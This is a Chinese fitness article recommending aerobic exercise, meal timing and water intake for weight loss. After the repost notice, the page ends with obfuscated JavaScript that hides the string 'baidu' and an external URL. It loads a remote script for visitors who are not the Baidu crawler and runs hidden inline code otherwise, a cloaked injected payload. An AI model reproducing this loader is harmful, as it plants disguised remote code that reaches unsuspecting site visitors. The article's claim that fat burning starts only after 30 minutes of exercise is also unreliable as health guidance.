當前位置:首頁 > 健康 > 運動健身 > 正文

減肥做哪種運動最好呢?

2017-04-14 16:53:44  來源:360常識網(wǎng)   熱度:
導語:每當露肉的季節(jié)來臨,一些女性朋友就會忐忑,擔心身材不夠苗條不敢出門。也有很多女性朋友想著吃各種減肥藥來瘦身,然而效果不大,還易反彈

每當露肉的季節(jié)來臨,一些女性朋友就會忐忑,擔心身材不夠苗條不敢出門。也有很多女性朋友想著吃各種減肥藥來瘦身,然而效果不大,還易反彈。還不如實實在在鍛煉運動,是對減肥效果很好的。那么我們就要了解做什么運動比較效果好呢?小編給大家具體說一下運動減肥的相關知識。

運動減肥應該是一種長期、堅持不懈的生活方式,體重的降低也該是平緩的過程。只要每天堅持半小時以上強度足夠的體育運動,心率保持在每分鐘120—150次,最終還是會見成效的。一般來說,每周體重下降1公斤以內比較合適。

對減肥最有效的運動就是有氧運動,尤其是消耗能量較多的運動!有氧運動減肥:例如慢跑、爬山、快步走、球類運動、游泳等,每次運動最好一次持續(xù)做完,中間不要停止,且每次運動消耗熱量須達300仟卡,通常這種運動量會造成心跳加快,或流汗的程度,這些都是有氧運動減肥的范疇。

注意事項

1.有氧鍛煉時間在30分鐘以下,達不到減肥效果。鍛煉的前30分鐘,消耗的是身體內的水分和糖分,30分鐘后才會開始消耗脂肪。水分和糖分減少只能暫時減輕體重,而只有消耗脂肪才能真正達到減肥的目的。

2.掌握好運動后進食的時間。一般來說,在運動后30分鐘內進食為宜。運動后15—30分鐘進餐,與等到運動后1小時以后再進餐相比,受試者攝入的能量較少。

3.養(yǎng)成多喝水的習慣。每天喝大約7杯水的人比那些喝水少的人,每天能少吃大約含200千卡熱量的食物。

4.食物選擇有講究。運動后可以吃一些含糖和蛋白質的小吃,如脫脂酸奶、全麥餅干、瘦肉制品等。但要注意減少脂肪,特別是飽和脂肪酸的攝入,甜點和漢堡之類的最好別吃。

沒有那種運動可以說是最好的,想瘦身主要還是要根據(jù)自身情況去選擇運動方式,減肥一定要有氧和無氧運動相結合。但最重要的還是堅持,前幾天下定決心熱情似火,后幾天就沒勁偷懶太累,這樣是不行的,減肥貴在堅持。

轉載申明:360常識網(wǎng),歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}